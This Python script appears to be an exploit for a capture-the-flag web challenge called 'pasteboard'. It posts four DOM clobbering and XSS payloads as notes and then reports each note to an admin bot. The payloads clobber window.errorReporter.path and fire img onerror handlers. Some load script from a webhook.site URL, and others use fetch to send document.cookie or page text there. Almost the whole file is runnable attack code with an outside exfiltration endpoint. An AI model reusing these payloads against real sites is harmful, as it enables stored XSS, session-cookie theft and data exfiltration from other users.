import requests
import time

BASE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078"

# DOM clobbering payload - we need to trigger an error AND control the path
# The key is that we need window.errorReporter.path to be controlled
payloads = [
    # Method 1: Use form with input to create nested property
    f'''<form id="errorReporter"><input name="path" value="//webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078/flag.js?"></form>
<img id="renderConfig" src=x onerror="window.lastRenderError='x';throw new Error()">''',
    
    # Method 2: Use iframe name attribute for path.value
    f'''<a id="errorReporter"></a>
<a id="errorReporter" name="path" href="//webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078/cookies.js?c="></a>
<img src=x onerror="window.lastRenderError='triggered';document.getElementById('errorReporterScript').remove();throw Error()">''',
    
    # Method 3: Direct script injection via data URI
    f'''<a id="errorReporter" href="#"><a id="errorReporter" name="path" href="data:text/javascript,fetch('{WEBHOOK}?flag='+btoa(document.cookie))"></a></a>
<img src=x onerror="window.lastRenderError='x';throw Error()">''',
    
    # Method 4: Use form with nested structure
    f'''<form id="errorReporter">
  <input name="path" id="path">
  <input name="path" value="data:text/javascript,fetch('{WEBHOOK}?d='+btoa(document.body.innerText))">
</form>
<img src=x onerror="window.lastRenderError='error';throw Error()">''',
]

for i, payload in enumerate(payloads, 1):
    print(f"\n[*] Trying DOM clobbering payload {i}/{len(payloads)}...")
    print(f"[*] Payload preview: {payload[:100]}...")
    
    session = requests.Session()
    response = session.post(
        f"{BASE_URL}/note/new",
        data={"title": f"DOM Clobber {i}", "body": payload},
        allow_redirects=False
    )
    
    if response.status_code == 302:
        location = response.headers.get('Location')
        note_url = f"{BASE_URL}{location}"
        print(f"[+] Paste created: {note_url}")
        
        report_response = session.post(f"{BASE_URL}/report", data={"url": location})
        if report_response.status_code == 202:
            print(f"[+] Reported to bot - waiting 35 seconds...")
            time.sleep(35)
        else:
            print(f"[-] Failed to report: {report_response.status_code}")
    else:
        print(f"[-] Failed to create paste: {response.status_code}")
    
    time.sleep(2)

print("\n[*] All payloads sent. Check webhook now!")
print(f"[*] Webhook URL: https://webhook.site/#!/d8111fd3-599a-47ab-bcab-94d5ec54e078")